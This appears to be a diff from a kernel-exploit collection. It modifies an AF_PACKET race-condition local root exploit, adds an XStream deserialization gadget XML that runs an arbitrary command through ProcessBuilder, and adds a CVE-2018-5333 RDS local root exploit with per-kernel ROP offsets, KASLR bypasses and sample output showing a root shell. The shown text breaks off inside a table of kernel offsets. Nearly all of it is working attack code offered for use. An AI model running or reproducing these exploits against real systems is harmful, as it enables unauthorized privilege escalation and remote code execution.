{ "4.4.0-24-lowlatency #43-Ubuntu", 0x88ae0, 0xe48f00, 0x28c9a0, 0x6fae0 },
|
||||
{ "4.4.0-28-lowlatency #47-Ubuntu", 0x88b20, 0xe48f80, 0x28ce20, 0x6fae0 },
|
||||
{ "4.4.0-31-lowlatency #50-Ubuntu", 0x88b20, 0xe48f80, 0x28cf10, 0x6fae0 },
|
||||
{ "4.4.0-34-lowlatency #53-Ubuntu", 0x88b20, 0xe48f80, 0x28cf50, 0x6fae0 },
|
||||
{ "4.4.0-36-lowlatency #55-Ubuntu", 0x88b00, 0xe48f80, 0x28cf30, 0x6fad0 },
|
||||
{ "4.4.0-38-lowlatency #57-Ubuntu", 0x88bd0, 0xe48f80, 0x28d580, 0x6fad0 },
|
||||
{ "4.4.0-42-lowlatency #62-Ubuntu", 0x88c30, 0xe48f80, 0x28d5b0, 0x6faa0 },
|
||||
};
|
||||
|
||||
#define VSYSCALL 0xffffffffff600000
|
||||
@@ -202,6 +217,7 @@ struct tpacket_req3 tp;
|
||||
int sfd;
|
||||
int mapped = 0;
|
||||
|
||||
// timer_list struct defined in: include/linux/timer.h
|
||||
struct timer_list {
|
||||
void *next;
|
||||
void *prev;
|
||||
@@ -255,6 +271,10 @@ void *vers_switcher(void *arg)
|
||||
#define BUFSIZE 1408
|
||||
char exploitbuf[BUFSIZE];
|
||||
|
||||
#ifndef ETH_P_ARP
|
||||
# define ETH_P_ARP 0x0806
|
||||
#endif
|
||||
|
||||
void kmalloc(void)
|
||||
{
|
||||
while(1)
|
||||
@@ -266,7 +286,7 @@ void pad_kmalloc(void)
|
||||
int x;
|
||||
for (x = 0; x < KMALLOC_PAD; x++)
|
||||
if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) {
|
||||
dprintf("[-] pad_kmalloc() socket error\n");
|
||||
dprintf("[-] pad_kmalloc() socket error: %m\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
@@ -289,7 +309,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
sigaddset(&set, SIGSEGV);
|
||||
|
||||
if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
|
||||
dprintf("[-] couldn't set sigmask\n");
|
||||
dprintf("[-] couldn't set sigmask: %m\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
@@ -300,7 +320,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
|
||||
|
||||
if (fd == -1) {
|
||||
dprintf("[-] target socket error\n");
|
||||
dprintf("[-] target socket error: %m\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
@@ -324,7 +344,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
sfd = fd;
|
||||
|
||||
if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
|
||||
dprintf("[-] Error creating thread\n");
|
||||
dprintf("[-] Error creating thread: %m\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
@@ -360,7 +380,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
|
||||
|
||||
if (pbd == MAP_FAILED) {
|
||||
dprintf("[-] could not map pbd\n");
|
||||
dprintf("[-] could not map pbd: %m\n");
|
||||
exit(1);
|
||||
} else {
|
||||
off = pbd->hdr.bh1.offset_to_first_pkt;
|
||||
@@ -415,13 +435,13 @@ void *modify_vsyscall(void *arg)
|
||||
sigaddset(&set, SIGSEGV);
|
||||
|
||||
if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
|
||||
dprintf("[-] couldn't set sigmask\n");
|
||||
dprintf("[-] couldn't set sigmask: %m\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
signal(SIGSEGV, catch_sigsegv);
|
||||
|
||||
*vsyscall = 0xdeadbeef+x;
|
||||
*vsyscall = 0xdeadbeef + x;
|
||||
|
||||
if (*vsyscall == 0xdeadbeef+x) {
|
||||
dprintf("[~] vsyscall page altered!\n");
|
||||
@@ -449,7 +469,7 @@ void verify_stage1(void)
|
||||
exit(0);
|
||||
}
|
||||
|
||||
write(2,".",1);
|
||||
write(2, ".", 1);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
@@ -471,7 +491,7 @@ void verify_stage2(void)
|
||||
exit(0);
|
||||
}
|
||||
|
||||
write(2,".",1);
|
||||
write(2, ".", 1);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
@@ -548,7 +568,29 @@ void wrapper(void)
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
void check_procs() {
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (1) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
void check_env() {
|
||||
int min_procs = 2;
|
||||
|
||||
int nprocs = 0;
|
||||
@@ -559,7 +601,24 @@ void check_procs() {
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] system has %d processor cores\n", nprocs);
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
char* path = "/proc/cpuinfo";
|
||||
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s): %m\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char* found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL) {
|
||||
dprintf("[-] SMAP detected, no bypass available\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct stat st;
|
||||
if (stat("/dev/grsec", &st) == 0) {
|
||||
dprintf("[!] Warning: grsec is in use\n");
|
||||
}
|
||||
}
|
||||
|
||||
struct utsname get_kernel_version() {
|
||||
@@ -573,10 +632,11 @@ struct utsname get_kernel_version() {
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
#define KERNEL_VERSION_SIZE_BUFFER 512
|
||||
|
||||
void detect_versions() {
|
||||
struct utsname u;
|
||||
char kernel_version[512];
|
||||
char kernel_version[KERNEL_VERSION_SIZE_BUFFER];
|
||||
|
||||
u = get_kernel_version();
|
||||
|
||||
@@ -591,7 +651,7 @@ void detect_versions() {
|
||||
}
|
||||
|
||||
char *u_ver = strtok(u.version, " ");
|
||||
snprintf(kernel_version, 512, "%s %s", u.release, u_ver);
|
||||
snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u.release, u_ver);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
@@ -607,15 +667,17 @@ void detect_versions() {
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_SYSLOG
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
bool mmap_syslog(char** buffer, int* size) {
|
||||
int mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
return false;
|
||||
return 0;
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
@@ -625,16 +687,17 @@ bool mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
return false;
|
||||
return 0;
|
||||
}
|
||||
|
||||
return true;
|
||||
return 1;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) return 0;
|
||||
if (substr == NULL)
|
||||
return 0;
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
@@ -642,22 +705,25 @@ unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) return 0;
|
||||
if (substr == NULL)
|
||||
return 0;
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
unsigned long addr = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xffffffffff000000ul;
|
||||
addr &= 0xffffffffff000000ul;
|
||||
|
||||
return r;
|
||||
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
|
||||
return addr;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
if (substr == NULL)
|
||||
return 0;
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
@@ -666,17 +732,19 @@ unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
if (substr == NULL)
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
unsigned long addr = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
addr &= 0xfffffffffff00000ul;
|
||||
addr -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
|
||||
return addr;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
@@ -699,9 +767,12 @@ unsigned long get_kernel_addr_syslog() {
|
||||
|
||||
return addr;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
// https://grsecurity.net/~spender/exploits/exploit.txt
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_KALLSYMS
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
@@ -713,7 +784,7 @@ unsigned long get_kernel_addr_kallsyms() {
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
dprintf("[-] open/read(%s): %m\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -734,58 +805,23 @@ unsigned long get_kernel_addr_kallsyms() {
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
|
||||
struct utsname u;
|
||||
u = get_kernel_version();
|
||||
strcat(path, u.release);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
|
||||
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_MINCORE
|
||||
unsigned long get_kernel_addr_mincore() {
|
||||
unsigned char buf[getpagesize()/sizeof(unsigned char)];
|
||||
unsigned char buf[getpagesize() / sizeof(unsigned char)];
|
||||
unsigned long iterations = 20000000;
|
||||
unsigned long addr = 0;
|
||||
|
||||
dprintf("[.] trying mincore info leak...\n");
|
||||
|
||||
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
|
||||
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
|
||||
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap()\n");
|
||||
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap(): %m\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -793,46 +829,50 @@ unsigned long get_kernel_addr_mincore() {
|
||||
for (i = 0; i <= iterations; i++) {
|
||||
/* Touch a mishandle with this type mapping */
|
||||
if (mincore((void*)0x86000000, 0x1000000, buf)) {
|
||||
dprintf("[-] mincore()\n");
|
||||
dprintf("[-] mincore(): %m\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int n;
|
||||
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
|
||||
for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) {
|
||||
addr = *(unsigned long*)(&buf[n]);
|
||||
/* Kernel address space */
|
||||
if (addr > 0xffffffff00000000) {
|
||||
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) {
|
||||
addr &= 0xffffffffff000000ul;
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
dprintf("[-] munmap(): %m\n");
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
dprintf("[-] munmap(): %m\n");
|
||||
|
||||
dprintf("[-] kernel base not found in mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_KALLSYMS
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
#endif
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_SYSLOG
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
#endif
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_MINCORE
|
||||
addr = get_kernel_addr_mincore();
|
||||
if (addr) return addr;
|
||||
#endif
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
@@ -851,7 +891,7 @@ void launch_rootshell(void)
|
||||
fd = open(SYSCTL_PATH, O_WRONLY);
|
||||
|
||||
if(fd == -1) {
|
||||
dprintf("[-] could not open %s\n", SYSCTL_PATH);
|
||||
dprintf("[-] open(%s): %m\n", SYSCTL_PATH);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
@@ -877,12 +917,12 @@ void launch_rootshell(void)
|
||||
|
||||
void setup_sandbox() {
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
dprintf("[-] unshare(CLONE_NEWUSER): %m\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWNET)\n");
|
||||
dprintf("[-] unshare(CLONE_NEWNET): %m\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
@@ -890,8 +930,6 @@ void setup_sandbox() {
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int status, pid;
|
||||
struct utsname u;
|
||||
char buf[512], *f;
|
||||
|
||||
if (getuid() == 0 && geteuid() == 0) {
|
||||
chown("/proc/self/exe", 0, 0);
|
||||
@@ -908,11 +946,11 @@ int main(int argc, char **argv)
|
||||
|
||||
dprintf("linux AF_PACKET race condition exploit by rebel\n");
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] checking hardware\n");
|
||||
check_procs();
|
||||
dprintf("[~] done, hardware looks good\n");
|
||||
#if ENABLE_SYSTEM_CHECKS
|
||||
dprintf("[.] checking system\n");
|
||||
check_env();
|
||||
dprintf("[~] done, looks good\n");
|
||||
#endif
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_versions();
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
<map>
|
||||
<entry>
|
||||
<jdk.nashorn.internal.objects.NativeString>
|
||||
<flags>0</flags>
|
||||
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
|
||||
<dataHandler>
|
||||
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
|
||||
<is class="javax.crypto.CipherInputStream">
|
||||
<cipher class="javax.crypto.NullCipher">
|
||||
<initialized>false</initialized>
|
||||
<opmode>0</opmode>
|
||||
<serviceIterator class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="java.util.Collections$EmptyIterator"/>
|
||||
<next class="java.lang.ProcessBuilder">
|
||||
<command>
|
||||
<%=payload_cmd%>
|
||||
</command>
|
||||
<redirectErrorStream>false</redirectErrorStream>
|
||||
</next>
|
||||
</iter>
|
||||
<filter class="javax.imageio.ImageIO$ContainsFilter">
|
||||
<method>
|
||||
<class>java.lang.ProcessBuilder</class>
|
||||
<name>start</name>
|
||||
<parameter-types/>
|
||||
</method>
|
||||
<name>foo</name>
|
||||
</filter>
|
||||
<next class="string">foo</next>
|
||||
</serviceIterator>
|
||||
<lock/>
|
||||
</cipher>
|
||||
<input class="java.lang.ProcessBuilder$NullInputStream"/>
|
||||
<ibuffer></ibuffer>
|
||||
<done>false</done>
|
||||
<ostart>0</ostart>
|
||||
<ofinish>0</ofinish>
|
||||
<closed>false</closed>
|
||||
</is>
|
||||
<consumed>false</consumed>
|
||||
</dataSource>
|
||||
<transferFlavors/>
|
||||
</dataHandler>
|
||||
<dataLen>0</dataLen>
|
||||
</value>
|
||||
</jdk.nashorn.internal.objects.NativeString>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
|
||||
</entry>
|
||||
<entry>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
||||
</entry>
|
||||
</map>
|
||||
@@ -0,0 +1,883 @@
|
||||
// Local root exploit for Linux RDS rds_atomic_free_op NULL pointer dereference
|
||||
// in the rds kernel module in the Linux kernel through 4.14.13 (CVE-2018-5333).
|
||||
//
|
||||
// Includes KASLR, SMEP, and mmap_min_addr bypasses. No SMAP bypass.
|
||||
//
|
||||
// Targets:
|
||||
// - Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116
|
||||
// - Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54
|
||||
//
|
||||
// The rds kernel module is not loaded by default on Ubuntu, and is blacklisted
|
||||
// in /etc/modprobe.d/blacklist-rare-network.conf to prevent autoloading.
|
||||
// - install: sudo apt install "linux-image-extra-$(uname -r)-generic"
|
||||
// - load: sudo insmod "/lib/modules/$(uname -r)/kernel/net/rds/rds.ko"
|
||||
//
|
||||
// This exploit is a modified extension of the original local root
|
||||
// proof of concept exploit written by wbowling as an example of using
|
||||
// CVE-2019-9213 to make previous kernel bugs exploitable:
|
||||
// - https://gist.github.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4
|
||||
//
|
||||
// The original exploit is based on the null pointer dereference
|
||||
// reproducer proof of concept and analysis by 0x36:
|
||||
// - https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c
|
||||
//
|
||||
// wbowling has done most of the hard work, by utilising Jann Horn's
|
||||
// mmap_min_addr bypass technique (CVE-2019-9213), allowing userland to mmap
|
||||
// virtual address 0 (without which this bug would not be exploitable on
|
||||
// systems with a sufficiently large value for vm.mmap_min_addr);
|
||||
// and developing the appropriate ROP chain.
|
||||
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
|
||||
//
|
||||
// This exploit adds offsets for additional kernels, and introduces some
|
||||
// additional features, such as KASLR bypasses and system checks, including:
|
||||
// - check if system supports SMAP
|
||||
// - check if system supports RDS sockets
|
||||
// - Jann Horn's mincore KASLR bypass via heap page disclosure (CVE-2017-16994)
|
||||
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
|
||||
// - spender's /proc/kallsyms KASLR bypass (requires kernel.kptr_restrict=0)
|
||||
// - https://grsecurity.net/~spender/exploits/exploit.txt
|
||||
// - xairy's syslog KASLR bypass (requires kernel.dmesg_restrict=0)
|
||||
// - https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
|
||||
// - lizzie's perf_event_open KASLR bypass (requires kernel.perf_event_paranoid<2)
|
||||
// - https://blog.lizzie.io/kaslr-and-perf.html
|
||||
//
|
||||
// Shoutout to nstarke for adding additional kernel offsets.
|
||||
// - https://github.com/bcoles/kernel-exploits/pulls?q=author:nstarke+cve-2018-5333
|
||||
//
|
||||
// This exploit also uses various code patterns copied from:
|
||||
// - xairy's exploits:
|
||||
// - https://github.com/xairy/kernel-exploits
|
||||
// - vnik's kernel ROP code:
|
||||
// - https://github.com/vnik5287/kernel_rop
|
||||
// ---
|
||||
// $ gcc cve-2018-5333.c -o cve-2018-5333 -Wall
|
||||
// $ ./cve-2018-5333
|
||||
// Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333)
|
||||
// [.] checking kernel version...
|
||||
// [.] kernel version '4.4.0-116-generic #140-Ubuntu' detected
|
||||
// [~] done, version looks good
|
||||
// [.] checking system...
|
||||
// [~] done, looks good
|
||||
// [.] mapping null address...
|
||||
// [~] done, mapped null address
|
||||
// [.] KASLR bypass enabled, getting kernel base address
|
||||
// [.] trying /proc/kallsyms...
|
||||
// [-] kernel base not found in /proc/kallsyms
|
||||
// [.] trying syslog...
|
||||
// [-] kernel base not found in syslog
|
||||
// [.] trying perf_event_open sampling...
|
||||
// [.] done, kernel text: ffffffff9f000000
|
||||
// [.] commit_creds: ffffffff9f0a4cf0
|
||||
// [.] prepare_kernel_cred: ffffffff9f0a50e0
|
||||
// [.] mmapping fake stack...
|
||||
// [~] done, fake stack mmapped
|
||||
// [.] executing payload 0x402119...
|
||||
// [+] got root
|
||||
// # id
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
// ---
|
||||
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-5333
|
||||
// <bcoles@gmail.com>
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <linux/perf_event.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_SYSTEM_CHECKS 1
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
# define KERNEL_BASE_MIN 0xffffffff00000000ul
|
||||
# define KERNEL_BASE_MAX 0xffffffffff000000ul
|
||||
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
|
||||
# define ENABLE_KASLR_BYPASS_SYSLOG 1
|
||||
# define ENABLE_KASLR_BYPASS_PERF 1
|
||||
# define ENABLE_KASLR_BYPASS_MINCORE 1
|
||||
#endif
|
||||
|
||||
// Can be overwritten by argv[1]
|
||||
char *SHELL = "/bin/sh";
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled (1)
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions().
|
||||
int kernel = -1;
|
||||
|
||||
// kernel target struct, using ROP chain from wbowling's exploit
|
||||
struct kernel_info {
|
||||
const char* kernel_version;
|
||||
uint64_t commit_creds;
|
||||
uint64_t prepare_kernel_cred;
|
||||
uint64_t xor_rdi; //: xor edi, edi ; ret
|
||||
uint64_t mov_rdi_rax; //: mov rdi, rax ; pop rbx ; mov rax, rdi ; pop r12 ; pop rbp ; ret
|
||||
uint64_t xchg_esp; //: xchg eax, esp ; shr bl, 0xbf ; xor eax, eax ; pop rbp ; ret
|
||||
uint64_t swapgs; //: swapgs ; pop rbp ; ret
|
||||
uint64_t iretq; //: iretq
|
||||
};
|
||||
|
||||
// Targets
|
||||
struct kernel_info kernels[] = {
|
||||
{ "4.4.0-21-generic #37-Ubuntu", 0xa21c0, 0xa25b0, 0x5d0c5, 0x178157, 0x3f8158, 0x64644, 0x4cc7da },
|
||||
{ "4.4.0-22-generic #40-Ubuntu", 0xa2220, 0xa2610, 0x5d0c5, 0x178217, 0x3f89e8, 0x64644, 0x7d005 },
|
||||
{ "4.4.0-24-generic #43-Ubuntu", 0xa2340, 0xa2730, 0x5d0c5, 0x178447, 0x3f98b8, 0x64644, 0x7d125 },
|
||||
{ "4.4.0-28-generic #47-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x178717, 0x3f9f38, 0x64644, 0x585dc },
|
||||
{ "4.4.0-31-generic #50-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x1787a7, 0x3ffed8, 0x64644, 0x7d125 },
|
||||
{ "4.4.0-38-generic #57-Ubuntu", 0xa2570, 0xa2960, 0x5d0c5, 0x178a97, 0x400968, 0x64634, 0x7d1e5 },
|
||||
{ "4.4.0-42-generic #62-Ubuntu", 0xa25c0, 0xa29b0, 0x5d0c5, 0x178ac7, 0x400d78, 0x64634, 0x7d1a5 },
|
||||
{ "4.4.0-98-generic #121-Ubuntu", 0xa2850, 0xa2c40, 0x5d0c5, 0x17a427, 0x40a138, 0x64694, 0x4b243 },
|
||||
{ "4.4.0-108-generic #131-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 },
|
||||
{ "4.4.0-109-generic #132-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 },
|
||||
{ "4.4.0-112-generic #135-Ubuntu", 0xa3a90, 0xa3e80, 0x5d0c5, 0x17b657, 0x40b238, 0x646a4, 0x54137c },
|
||||
{ "4.4.0-116-generic #140-Ubuntu", 0xa4cf0, 0xa50e0, 0x5e0c5, 0x17d5d7, 0x40ed08, 0x65734, 0x3a5b04 },
|
||||
|
||||
/* Untested:
|
||||
{ "4.4.0-51-generic #72-Ubuntu", 0xa2670, 0xa2a60, 0x5d0c5, 0x178cf7, 0x404d78, 0x64634, 0x7d1a5 },
|
||||
{ "4.4.0-62-generic #83-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179747, 0x406a78, 0x64634, 0x7d1e5 },
|
||||
{ "4.4.0-63-generic #84-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179827, 0x406e98, 0x64634, 0x406eb },
|
||||
